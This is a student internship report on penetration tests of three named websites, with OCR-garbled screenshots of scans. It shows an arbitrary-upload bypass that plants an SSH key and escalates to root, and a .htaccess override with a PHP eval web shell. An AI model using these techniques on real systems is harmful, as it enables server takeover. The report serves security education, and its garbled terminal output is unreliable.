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Abstract

In an increasingly interconnected digital landscape, the security of organizations'
information systems has become paramount. Penetration testing, a proactive and
strategic approach to assessing and enhancing cybersecurity, plays a pivotal role in
safeguarding against evolving threats. This abstract delves into the essential aspects of
penetration testing, shedding light on its significance, methodologies, and the evolving
challenges it seeks to address.

Penetration testing, often referred to as ethical hacking, is a systematic process of
simulating real-world cyberattacks on an organization's infrastructure, applications, and
networks. The primary objective is to identify vulnerabilities before malicious actors can
exploit them, ultimately fortifying the organization's defense mechanisms.

The internship experience at FLUX IT provided an opportunity to work on the
penetration testing in real life scenario.When | was offered an internship , | was only the
penetration tester.Most Of my knowledge comes from solving CTF.l had to find
vulnerabilities within a Web Application and exploit it , if possible compromise the
machine that is running the Web Application.If any vulnerability is discovered , i will
inform the developer team about that bug and it's severity. Then developer will whether
they will fix it or not.
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Chapter 1

Introduction

1.1 Overview/Background of the Work

| commenced my internship as Penetration tester at FLUX IT on 20th May 2023.

As a part of the internship | had the opportunity to pentest 3 websites.
3 of the websites were built using NodeJS , Wordpress and laravel respectively.

1.2 Objectives

The Objective of my work is to find and exploit vulnerabilities within the webapp and
system to show how an attacker could damage the system or webApp.So that developer
could fix those bugs.

The Websites | have pentested are:
http://vps-414ae572.vps.ovh.ca/ (pwned) => NodeJS
http://dndlab.org/ => Wordpress

http://sqcfbd.org/ (pwned) => laravel

The Scope of the pentest is limited within the given websites, no subdomain or internal
network.As per request , any sort of DDOS attack is not performed.

The objective of the pentest is to find vulnerabilities in websites and compromise the
server if possible.

| evaluated websites external security posture through an external network penetration
test from May 20th, 2023 to September 28, 2023. By leveraging a series of attacks, |
found critical level vulnerability that allowed me to compromise
http://vps-414ae572.vps.ovh.cal.

| found several critical vulnerabilities in http://dndlab.org/. But Due to lack of user
credentials | could not exploit them.

| exploited a bug to compromise the server that could be also used in client side attacks
like phishing , Session and Cookie hijacking etc inside http://sqcfbd.org/.

It is highly recommended that owners of the sites address these vulnerabilities as soon

as possible as the vulnerabilities are easily found through basic reconnaissance and
exploitable without much effort.

1.3 Scopes


http://dndlab.org/

A penetration test, colloquially known as a pentest or ethical hacking, is an authorized

simulated cyberattack on a computer system, performed to evaluate the security of the
system;

So After pentest , the client will be able to know the bugs inside his system and fix and
secure it.



Chapter 2

Literature Review

2.1 Relationship with Undergraduate Studies

Knowledge and skills gained from IUB’s undergraduate courses have helped in
pentesting .It would have been difficult if these courses were not covered before performing
pentest. Some of the courses are:

CSE 315: One must know about how operating system and it's components.

CSE 309: In web application course | learnt about some coding languages, but these is for
my learning purpose, which is not have directly impact of doing my internship project

CSE 316: Without knowing how computer network and internet works , | will not be able
pentest website

2.2 Related works

This Section is irrelevant to penetration testing



Chapter 3

Project Management & Financing

3.1  Work Breakdown Structure

This Section is irrelevant to penetration testing

3.2 Process/Activity wise Time Distribution

Penetration Testing has no such thing. Sometimes It takes one week to complete
pentesting, sometimes it takes one-two month to complete pentesting.

3.3 Gantt Chart

This Section is irrelevant to penetration testing

3.4 Process/Activity wise Resource Allocation

This Section is irrelevant to penetration testing.

3.5 Estimated Costing

Cost of pentesting depends on network scope , types of pentest and vulnerability and
client agreement.



Chapter 4

Methodology

During the pentest , black-box and gray-box methodology is used.

Black-box testing:In a black-box testing assignment, the penetration tester is placed in the
role of the average hacker, with no internal knowledge of the target system. Testers are not
provided with any architecture diagrams or source code that is not publicly available. A
black-box penetration test determines the vulnerabilities in a system that are exploitable from
outside the network.

This means that black-box penetration testing relies on dynamic analysis of currently running
programs and systems within the target network. A black-box penetration tester must be
familiar with automated scanning tools and methodologies for manual penetration testing.
Black-box penetration testers also need to be capable of creating their own map of a target
network based on their observations, since no such diagram is provided to them.

The limited knowledge provided to the penetration tester makes black-box penetration tests
the quickest to run, since the duration of the assignment largely depends on the tester’s
ability to locate and exploit vulnerabilities in the target’s outward-facing services. The major
downside of this approach is that if the testers cannot breach the perimeter, any
vulnerabilities of internal services remain undiscovered and unpatched.

White-box testing: White-box testing goes by several different names, including clear-box,
open-box, auxiliary and logic-driven testing. It falls on the opposite end of the spectrum from
black-box testing: penetration testers are given full access to source code, architecture
documentation and so forth. The main challenge with white-box testing is sifting through the
massive amount of data available to identify potential points of weakness, making it the most
time-consuming type of penetration testing.

Unlike black-box and gray-box testing, white-box penetration testers are able to perform
static code analysis, making familiarity with source code analyzers, debuggers and similar
tools important for this type of testing. However, dynamic analysis tools and techniques are
also important for white-box testers since static analysis can miss vulnerabilities introduced
by misconfiguration of target systems.

White-box penetration testing provides a comprehensive assessment of both internal and
external vulnerabilities, making it the best choice for calculation testing. The close
relationship between white-box pentesters and developers provides a high level of system
knowledge but may affect tester’s behaviors, since they operate based on knowledge not
available to hackers.



Chapter 5

Body of the Project

5.1  Work Description

Penetration testers, also known as pen testers, help organizations identify and resolve
security vulnerabilities affecting their digital assets and computer networks.

Duty of a pentester is to seek, identify, and attempt to breach existing weaknesses in
digital systems and computing networks.These systems and networks include websites,
data storage systems, and other IT assets.

Penetration testing teams simulate cyberattacks and other security breaches designed to
access sensitive, private, or proprietary information. They utilize existing hacking tools
and strategies and devise their own.During a simulated attack, pen testers document
their actions to generate detailed reports indicating how they managed to bypass
established security protocols.

Penetration testing teams help their employers avoid the public relations fallout and loss
of consumer confidence that accompany actual hacks and cyberattacks. They also help
businesses and organizations improve their digital security measures.



5.2 Requirement Analysis

This Section is irrelevant to penetration testing.

5.3 System Analysis

5.3.1 Six Element Analysis
This Section is irrelevant to penetration testing

53.2 Feasibility Analysis
This Section is irrelevant to penetration testing

5.3.3 Problem Solution Analysis
This Section is irrelevant to penetration testing

534 E ect and Constraints Analysis
This Section is irrelevant to penetration testing

5.4 System Design

5.4.1 UML Diagrams
This Section is irrelevant to penetration testing

54.2 Architecture
This Section is irrelevant to penetration testing

5.5 Implementation

The Five Phases of Penetration Testing

Reconnaissance

The first penetration testing phase is reconnaissance. In this phase, the tester gathers as
much information about the target system as they can, including information about the
network topology, operating systems and applications, user accounts, and other relevant
information. The goal is to gather as much data as possible so that the tester can plan an
effective attack strategy

Scanning
Once all the relevant data has been gathered in the reconnaissance phase, it's time

to move on to scanning.

In this penetration testing phase, the tester uses various tools

to identify open ports and check network traffic on the target system. Because open ports
are potential entry points for attackers, penetration testers need to identify as many open
ports as possible for the next penetration testing phase.

Vulnerability Assessment
The third penetration testing phase is vulnerability assessment, in which the tester uses all
the data gathered in the reconnaissance and scanning phases to identify potential
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vulnerabilities and determine whether they can be exploited. Much like scanning,
vulnerability

assessment is a useful tool on its own but is more powerful when combined with the other
penetration testing phases.

Exploitation
Once vulnerabilities have been identified, it's time for exploitation. In this penetration testing

phase, the penetration tester attempts to access the target system and exploit the identified
vulnerabilities, typically by using a tool like Metasploit to simulate real-world attacks.

Reporting
Once the exploitation phase is complete, the tester prepares a report documenting the

penetration test’s findings. The report generated in this final penetration testing phase can
be used to fix any vulnerabilities found in the system and improve the organization’s security
posture

5.6 Testing
5.6.1 Input

This Section Is irrelevant to penetration testing

5.6.2 Output

This Section Is irrelevant to penetration testing

5.6.3 Designing Test Cases

This Section Is irrelevant to penetration testing

5.6.4 Test Results
This Section Is irrelevant to penetration testing

5.6.5 Penetration Testing Process

Pentesting http://vps-414ae572.vps.ovh.ca/(51.79.254.118):

Demo: Pentest 1

At first | started to scan the site for all open ports.
For | use a popular tool called nmap


http://vps-414ae572.vps.ovh.ca/
https://drive.google.com/file/d/16-OpfrnoqMYEA-qK0H8nK0UYrCjKRNvr/view?usp=drive_link

Applications  Places B Terminal Augl 6:07 AM

shifat@MapleLeaf: ~/Desktop/pentest

) - [~/Desktop/pentest]

C -sTV vps-414ae572.vps.ovh.ca
password for shifat:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 06:06 +06
Nmap scan report for vps-414ae572.vps.ovh.ca (51.79.254.118)
Host is up (0.042s latency).
Other addresses for vps-414ae572.vps.ovh.ca (not scanned): 2402:1700:8000:800::15el
Not shown: 994 filtered tcp ports (no-response)

STATE SERVICE VERSION

open ssh OpenSSH 7.4 (protocol 2.0)

open http nginx 1.20.1

open rpchind 2-4 (RPC #100000)

open rsync (protocol version 31)

open http Node.js Express framework

open http Node.js Express framework

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.19 seconds

[?ﬂ ) - [~/Desktop/pentest]

Looks port 22,80,111,873,9000,9001 is open as you can above image
9001 is the NodedS frontend server

9000 is the NodeJS backend server

22 is SSH server

There is an rsync server which is a file sharing server running on 873.
| want to see if it is password protected.

[:—{ ) - [~/Desktop/pentest]
nc 51.79.254.118 873

@RSYNCD: 31.0

#list

dnd lab

@RSYNCD: EXIT

( ) - [~/Desktop/pentest]
=

Looks like there is no password but the rsync server is in read-only mode .Meanning | can
only read from the server.The shared folder name is “dnd_lab”

From The server I've downloaded the /etc/passwd file which contains all user accounts on
the server.



[r—i ) - [~/Desktop/pentest]
cat passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm: /sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

X:6:0:shutdown:/shin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: /usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534: Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995: : /var/lib/chrony:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
[saslauth:x:997:76:Saslauthd user:/run/saslauthd:/sbin/nologin
mongod:X:996:994:mongod: /var/lib/mongo: /bin/false
nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin
pentest:x:1001:1001:This is account was created during penetration testing:/home/pentest:/bin/bash

Looks like there is only one account on the server named centos.it's home directory is
/home/centos

Then | downloaded the source code of the NodeJS backend server.

After reading the source code , | found there is an arbitrary file upload vulnerability in
/api/document/thumb/ api.

Then | thought as long as | upload my ssh-public key in /home/centos/.ssh/authorized_keys
file , I can log in to the ssh server without password by using my ssh-private key and execute

commands on the server.

Then | generated a pair of ssh public private key. See the below picture

10



Applications  Places B Terminal Aug 1

shifat@MapleLea

) - [~/Desktop/pentest]

en -b 2048 -t rsa -C "This Key is for pentesting purpose"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shifat/.ssh/id rsa): ./ssh_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./ssh _key
Your public key has been saved in ./ssh_key.pub
The key fingerprint is:
SHA256: QbYBopHamrxiva3Jw6r1LMLDAY2BWi0Bzv7FhuHMhAw Ehis Key is for pentesting purpose
The key's randomart image is:
+---[RSA 2048]----+
la ahe me |
|[E .o . 00 |
| *+0 0 |
|==+0 . |
|+B=.+ S |
|*0.= + |
|+.* o |
| 00oBo |
[=0+**, |
+----[SHA256]

[:—{ ) - [~/Desktop/pentest]
|

Then | uploaded my ssh-public key in /home/centos/.ssh/authorized_keys file.

t h; ed:keyé

Then | tried to login using ssh private key and managed to access the server.As You can see
| executed two command id ,who

11



25 Applications  Places B Terminal Augl 6:25AM

a centos@vps-414ae5

shifat@Mapleleaf: ~/Desktop/pentest

) - [~/Desktop/pentest]

L chmod 400 ssh_key

L—{ ) - [~/Desktop/pentest]
ssh -i ssh_key centos@51.79.254.118
Last login: Mon Jul 31 16:40:46 2023 from 103.136.200.72
[centos@vps-414ae572 ~]$ id
uid=1000(centos) gid=1000(centos) groups=1000(centos),4(adm),10(wheel),190(systemd-journal)
[centos@vps-414ae572 ~]$ who
centos pts/0 2023-08-01 00:24 (103.136.200.72)
[centos@vps-414ae572 ~1$ ]

Although We managed to get into the system , we can partially control it.
To have full control over the server , we must become root.
So | will try to escalate the privilege. Let’s run sudo -

[centos@vps-414ae572 ~]1$ sudo -1

Matching Defaults entries for centos on vps-414ae572
lvisiblepw, always set home, match group by gid, always query group plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC CTYPE", env_keep+="LC COLLATE LC_IDENTIFICATION LC MEASUREMENT LC MESSAGES", env_keep+="LC_MONETARY LC NAME LC NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC TIME LC ALL LANGUAGE LINGUAS XKB CHARSET XAUTHORITY", secure path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User centos may run the following commands on vps-414ae572
(ALL) ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL

[centos@vps-414ae572 ~]1$ sudo -i

[root@vps-414ae572 ~]# whoami

root

[root@vps-414ae572 ~1# ||

| see | don’t need a password to become root. So | ran sudo -i to become root.

Pentesting http://dndlab.org/:

This is a wordpress site.And This site is sitting behind reverse proxy making it impossible to
find out it’'s open ports. Fortunately there is a tool called “wpscan” to find out the vulnerability
of wordpress sites.so | ran it against the server.

12


http://dndlab.org/

Applications  Places (@ Terminal Sep 28 10:17PM
shifat@shifa
:~$ wpscan --url http://www.dndlab.org/ --api-token lynuYDGZkzeogrutTxAj0BivCWa5uSguGMIZE®s4Uog

/ \/

/
/112

A\
AN ANY
\\/ \/ /|
N7
\VAR VAR |

WordPress Security Scanner by the WPScan Team
Version 3.8.
Sponsored by Automattic - https://automattic.com/
@ WPScan_, @ethicalhack3r, @erwan lr, @firefart

[+] URL: https://www.dndlab.org/ [46.105.104.51]
[+] Started: Thu Sep 28 22:16:54 2023

Interesting Finding(s):

[+] Headers

| Interesting Entries:

| - server: nginx/1.19.0

| - x-powered-by: PHP/7.4.4

| - content-security-policy: upgrade-insecure-requests
| Found By: Headers (Passive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: https://www.dndlab.org/xmlrpc.php

| Found By: Link Tag (Passive Detection)

| Confidence: 30%

| References:

| /codex.wordpress.org/XML-RPC_Pingback API

| .rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

| 8 .rapid7.com/db/modules/auxiliary/dos/http/wordpress xmlrpc_dos/

| .rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

| - https: .rapid7.com/db/modules/auxiliary/scanner/http/wordpress pingback access/

[+] WordPress version 4.9.18 identified (Insecure, released on 2021-05-12).
| Found By: Rss Generator (Passive Detection)
|
|

- https://www.dndlab.org/feed/, <generator>https://wordpress.org/?v=4.9.18</generator>
__https://www.dndlab_ora/comments/feed/ _<aenerator>httons://wordoress._ora/?v=4_9_18</generator>

88 Applications  Places @ Terminal Sep28 10:18 PM

shifat@shifat: ~

- https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417ch83F32095

Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php

Fixed in: 4.9.22

References:

- https://wpscan.com/vulnerability/c5675b59-4bld-4f64-9876-068e05145431

- https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/

- https://github.com/WordPress/wordpress-develop/commit/5fcdeelb4d72f1150b7b762ef5fb39ab288c8d44

Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library

Fixed in: 4.9.22

References:

- https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156

- https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/

- https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc

Title: WP < 6.0.3 - CSRF in wp-trackback.php

Fixed in: 4.9.22

References

- https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6ddo

- https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/

- https://github.com/WordPress/wordpress-develop/commit/a4f9cal7fae0b7d97ff807a3c234cf219810faed

Title: WP < 6.0.3 - Stored XSS via the Customizer

Fixed in: 4.9.22

References:

- https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218

- https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/

- https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fed56ef

Title: WP < 6.0.3 - Stored XSS via Comment Editing

Fixed in: 4.9.22

References

- https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b

- https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/

- https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9dfadss

Title: WP < 6.0.3 - Content from Multipart Emails Leaked

Fixed in: 4.9.22

References:

- https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
fal dnrecc_A_0_2 1

_ b+t //unrdnrece ora/nowc/2022/10 /unrdn e, = _cocurity o

cocoy
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82 ppplications  Places (@ Terminal Sep28 10:18PM

a shifat@shifat: ~

| - https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670

| - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/

[

] WordPress theme in use: Divi
Location: https://www.dndlab.org/wp-content/themes/Divi/
Readme: https://www.dndlab.org/wp-content/themes/Divi/README.md
[!] The version is out of date, the latest version is 4.22.2
An error log file has been found: https://www.dndlab.org/wp-content/themes/Divi/error_log

Style URL: https://www.dndlab.org/wp-content/themes/Divi/style.css?ver=3.0.44

Style Name: Divi

Style URI: http://www.elegantthemes.com/gallery/divi/

Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection....
Author: Elegant Themes

Author URI: http://www.elegantthemes.com

Found By: Css Style In Homepage (Passive Detection)
Confirmed By: Css Style In 404 Page (Passive Detection)

4 vulnerabilities identified:

|

|

|

|

|

|

|

|

|

|

|

|

|

|

I

| Title: ElegantThemes (Divi, Extra, divi-builder) - Authenticated Stored Cross-Site Scripting (XSS)
| Fixed in: 3.17.3

| References:

| https://wpscan.com/vulnerability/75b210d4-538b-4cd5-b06d-5d8f5e610377

| https://us7.campaign-archive.com/?u=9ae7aa91c578052b052b864d6&id=a9763c15f2

| https://divinotes.com/divi-changelog/

| https://divinotes.com/extra-changelog/

| - https://www.elegantthemes.com/api/changelog/divi-builder.txt

| https://www.elegantthemes.com/api/changelog/divi.txt

| https://www.elegantthemes.com/api/changelog/extra.txt

|
|
|
|
|
|
|
|
|
|
|
|

Title: ElegantThemes (Div. Extra, divi-builder < 4.0.10) - Authenticated Code Injection
Fixed in: 4.0.10
References

- https://wpscan.com/vulnerability/fddc2746-0e65-4a58-85d1-3d4ce20al739

- https://us7.campaign-archive.com/?u=9ae7aa91c578052b052b864d6&id=e3532c8cbl

- https://www.elegantthemes.com/api/changelog/divi-builder.txt

- https://www.elegantthemes.com/api/changelog/divi.txt

- https://www.elegantthemes.com/api/changelog/extra.txt

Title: Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 - 4.5.2, Divi Builder 2.0 - 4.5.2) - Authenticated Arbitrary File Upload
Fixed in: 4.5.3

But To exploit a wordpress site , you must need user credentials and | was not given any sort
of credential, So | was unable to proceed further. For a detailed list of vulnerabilities , go to
the detailed findings section.

Pentesting http://sgcfbd.org/:
Demo: Pentest sqcfbd

This website was built using laravel.
As Always | started the port scanning.

28 Applications  Places @ Terminal Sep29 3:31AM
a shifat@shifat: ~

:~$ ping sqcfbd.org
PING sqcfbd.org (193.70.79.13) 56(84) bytes of data.
64 bytes from altsmtpy.nixtecsys.com (193.760.79.13): icmp_se
64 bytes from altsmtpy.nixtecsys.com (193.760.79.13 icmp_se
64 bytes from altsmtpy.nixtecsys.com (193.760.79.13): icmp_seg=3 ttl=128 time=192 ms
e
--- sqcfbd.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 192.399/193.975/196.342/1.763 ms

:~$ m can -p - 193.70.79.13
[-] FAIL: permission denied
[hint] need to sudo or run as root or something
[-] if:ethe:init: failed

:~$ sudo ma =0 = B .79 13

[sudo] password for shifat

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-09-28 20:31:02 GMT
SYN Stealth Scan
hosts [65535 ports/host]
open port 465/tcp on 193.70.79.13
open port 3306/tcp on 193.70.79.13
open port 2121/tcp on 193.70.79.13
open port 9998/tcp on 193.70.79.13
open port 3313/tcp on 193.70.79.13
open port 110/tcp on 193.70.79.13
open port 53657/tcp on 193.70.79.13
open port 25/tcp on 193.70.79.13
open port 143/tcp on 193.70.79.13
open port 3312/tcp on 193.70.79.13
open port 993/tcp on 193.70.79.13
open port 3315/tcp on 193.70.79.13
open port 53/tcp on 193.70.79.13
open port 2222/tcp on 193.70.79.13
open port 80/tcp on 193.70.79.13
open port 443/tcp on 193.70.79.13
open port 3310/tcp on 193.70.79.13
open port 587/tcp on 193.70.79.13

Discovered open port 995/tcp on 193.70.79.13

~$ ]
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http://sqcfbd.org/
https://drive.google.com/file/d/1T9HEFlScQzgBdNBTaXe73lotNMXQinRs/view?usp=drive_link

Applications  Places @ Terminal Sep29 343AM

shifat@shifat: ~

shifat@shifat: ~ shifat@shifat: ~

:~$ nmap - -p 465,3306,2121,9998,3313,116,53657,25,143,3312,993,3315,53,2222,80,443,3310,587,995 sqcfhd.org
Starting Nmap 7.94 ( http: /nmap.org ) at 2023-09-29 03:39 +06
Nmap scan report for sqcfbd.org (193.760.79.13)
Host is up (0.19s latency).
Other addresses for sqcfbd.org (not scanned): 46.105.104.51 2001:41d6 2001:41d0:
rDNS record for 193.760.79.13: altsmtpy.nixtecsys.com

STATE SERVICE VERSION

open smtp Postfix smtpd

open domain ISC BIND 9.16

open http nginx 1.19.0

open pop3 Dovecot pop3d

open imap Dovecot imapd

open ssl/http nginx 1.19.0

open ssl/smtp Postfix smtpd

open smtp Postfix smtpd

open ssl/imap Dovecot imapd

open ssl/pop3 Dovecot pop3d

open ftp vsftpd 3.0.3

open ssh OpenSSH 8.0 (protocol 2.0)
open mysql MysSQL 5.5.5-10.2.22-MariaDB
open mysql MysQL 5.5.5-10.2.22-MariaDB
open mysql MySQL 5.5.5-10.2.22-MariaDB
open mysql MysQL 5.5.5-10.2.22-MariaDB
open mysql MySQL 5.5.5-10.2.22-MariaDB
open ssl/distinct32?

53657/tcp open status 1 (RPC #100024)

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi

?new-service :

SF-Port9998-TCP:V=7.94%T=SSL%I D=9/29%Time=6515F2B0%P=x86_64-pc-linux-gn
:u%r(GetRequest,AEC, "HTTP/1\.0\x20200\x200K\ r\nDate:\x20Thu, \x2028\x20Se
:1p\X202023\x2021:40:06\x20GMT\ r\nServer:\x20ZNC\x20-\x20https://znc\.in\
:r\nContent-Length:\x202493\r\nContent-Type:\x20text/html;\x20charset=ut
f-8\r\nSet-Cookie:\x209998-SessionId=1e53abeceaab86ac4f19dc122775c9d8al
83bed036f881c505b161672911f035; \x20HttpOnly;\x20path=/;Secure;\x20SameS
:ite=Strict;\r\nConnection:\x20Close\r\n\r\n<\?xml\x20version=\"1\.0\"\x
:20encoding=\"UTF-8\"\?>\n<!DOCTYPE\Xx20html>\n<html\x20xmlns=\"http://ww
:w\.w3\.0rg/1999/xhtml\"\x20xml: lang=\"en\"\x201lang=\"en\">\n\t<head>\n\
t\t<meta\x20charset=\"UTF-8\"\x20/>\n\t\t<title>ZNC\x20-\x20Web\x20Fron

8
5
5
5
5
5

My target is to gain access to the domain using SSH server.| was only given an account
credential on the website.

Next | Logged into the site.
There | found an upload page where you can upload images.
Instead of uploading an image | upload a text file.

Applications  Places @ Chromium-browser Sep29 3:47AM

@ UploadnewDrawing  x  +
<«

> € [ sepsiisacibdorg

Create Drawing

Successfully created

Drawing Title

Drawing Title Bangla

Artwork Size

Artwork Medium

Oil paint and Canvas

Artwork Medium Bangla

Oil paint and Canva

Year

Year Bangla

Looks like the server does not filter uploaded file type.
| tried to find the location of my uploaded file.
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Applications  Places @ Chromium-browser Sep29 348AM

Drawings of GayyumCho x @ sqcfbd.org/storagefimag: x  +

€ > C [3) supsiisqcibdorg)

_REQUEST['code']);

| found it in /storage/images path

Since it uses php , then it must be running apache.So | uploaded an .htaccess file.

An .htaccess file is a directory-level configuration file supported by several web servers,
used for configuration of website-access issues, such as URL redirection, URL shortening,

access control, and more. The 'dot' before the file name makes it a hidden file in Unix-based
environments.

Inside .htaccess file:

Directorylndex rce.php

88  Applications  Places ¥ burpsuite Sep29 3:51AM

Burp Suite Community Edition v2023.7.3 - Temporary Project
Burp Project Intruder Repeater View Help
Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions

Learn {5} Settings
+

Q:
Qi

Follow redirection Target: httpsi//sqcfbd.org /2 HTTP2 (2)

Response Q=% | inspector WD T
B n = w B\ =
Hex \ Pretty Raw  Hex  Render \ Requestatiributes D -
AAAAAA WebKi tFormBoundaryTgJpnDB4AVUpMsgh HTTP/2 302 Found
59 Content-Disposition: form-data; name="com_en” 2 Server: nginx/1.19.0 Request query parameters [

Date: Thu, 28 Sep 2023 21:51:17 GMT

512023 Content-Type: text/html; charset=UTF-8

Request body parameters 7 v
62 bKitFormBoundaryTgJp pMsq 5 X-Powered-By: PHP/8.1.9
Content-Disposition: form-data; name="com_bn 6 Cache-Control: no-cache, private Request cookies 2 v
4 Set-Cookie: XSRF-TOKEN=
2023 eyJpdiT6T1ZhZ1RLZGN4REVKb3pqCVA2bURXSMCIPSTSINZhbHVIIjoidEZUZFFIRKp6WLk1ZkZNc2dvaDJp | Requestheaders 23 v
WebKi tFormBoundaryTgJpnDB4AVUpMsqh 2ZRXNTFPZ592ZFRUNX JXR2NFREQ1MEXUMECWAWJYWER1QZBReD1 JYZ1RVFpWWWhHYNBIWL 3A4NUNGV1K SDVS
ontent-Disposition: form-data; name="date_en ZDg3MXdhd2U4bG9j Z1T3UUZHOWEXUNFReX1UCWIGE 1UBQUIOUVYWNIF6ZATLCI tYWMiOL JiMGIMYWYXMTA | Response headers 0 v

NMZMDCAN2M3Y ] ERNGISN2FhZTKIN2U10DBMY jUWNDQWM ] U4 ZWIXNZNhOGMOM2UZY TE4ZDh TiwidGFnIjoi
Ine%3D; expires=Thu, 28-Sep-2023 23:51:17 GMT; Max-Age=7200; path=/; samesite=lax

-WebKi tFormBoundaryTgJpnDB4AVUpMsgh Set-Cookie: laravel_session=

Content-Disposition: form-data; name="date_bn ey JpdiT6TkwyQXpyW1pjK2V4OVhMN2X2YVNVOFEIPSTSInZhbHV1T joieE tvdUpOcmp3bU4vdGVabotWMUtH
Y2M5Nmx1U3VZzeVRqTnFBbmthdmx2c0@SHFdTa1V tQkpQdDF s YmoSRKVQRG4ZZWROekpPAENBOU t 1dG9aMF Bk

ZFR3alVheTdvMGt 2dmSadHBmZ3R0OFVORINGbTQZRZBWR1hKRF ISMWK1CE41LCJtYWMi01 T4M2Y4NTMSNDh]

MDZiMzBhMGT1ZDCSNDA] Y] T1YmZhNj cyM2UzZWVjNTZmZmNmMDRhYWM3NDR jM2Q3MG JmNZCSTiwidGFnTjoi

Ine%3D; expires=Thu, 28-Sep-2023 23:51:17 GMT; Max-Age=7200; path=/; httponly;

samesite=lax

Location: https://sqcfbd.org/drawings/create

...... WebKi tFormBoundaryTgJpnDB4AVUpMsqh 0 Strict-Transport-Security: max-age=31536000

79 Content-Disposition: form-data; name="month_bn" 11 Content-Security-Policy: upgrade-insecure-requests

69 2023

74 ---n-- WebKi tFormBoundaryTgJpnDB4AVUPMsgh
75 Content-Disposition: form-data; name="month_en"

2023 <IDOCTYPE html>
82 ------ WebKitFormBoundaryTgJpnDB4AVUpMsqh 14 <html>
Content-Disposition: form-data; name="img_loc”; filename=".htaccess <head>
84 Content-Type: text/plain 16 <meta charset="UTF-8" />
5 7 <meta http-equiv="refresh” content="0;url="https://sqcfbd.org/drawings/create
6 DirectoryIndex xce.php >
87 ------ WebKitFormBoundaryTgJpnDB4AVUpMsqh 1
Content-Disposition: form-data; name="tags" <title>
89 Redirecting to https://sqcfbd.org/drawings/create
0 2023 </title>
11— WebKitFormBoundaryTgJpnDB4AVUpMsgh- - 20 </head>
)2 21 <body>
(@IS omatches | () {33 [ ¢/[> Omatches
Done

1,602 bytes | 3,222 millis

Since the file will be saved inside the /storage/images path.

It means when anyone visits http://sqcfbd.org/storage/images!/ , the rce.php file will be
executed.
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http://sqcfbd.org/storage/images/

The https://sgcfbd.org/storage/images/ path is forbidden by the owner of the site and php
file execution is disabled in this path, so | had to upload a .htaccess file to override the rules.

o A Internship - Google Drive - Google Docs %' Surah An-Naml - Omar Hisharr X @) htacess - Google Search

C O 8 sqcfbd.org

Forbidden

You don't have permission to access this resource.

Apache Server at sqcfbd.org Port 80

Then | uploaded the rce.php file.Inside the file

<?php
$decodedString = base64_decode($_REQUEST['code");

echo eval($decodedString);
?>

The rce.php file will take base64 encoded php code , then it will decode and execute php
code.

P —— Sep29 351AM

o Firefox ESR
“Kali Linux —

Intruder

Burp Project Repeater View Help

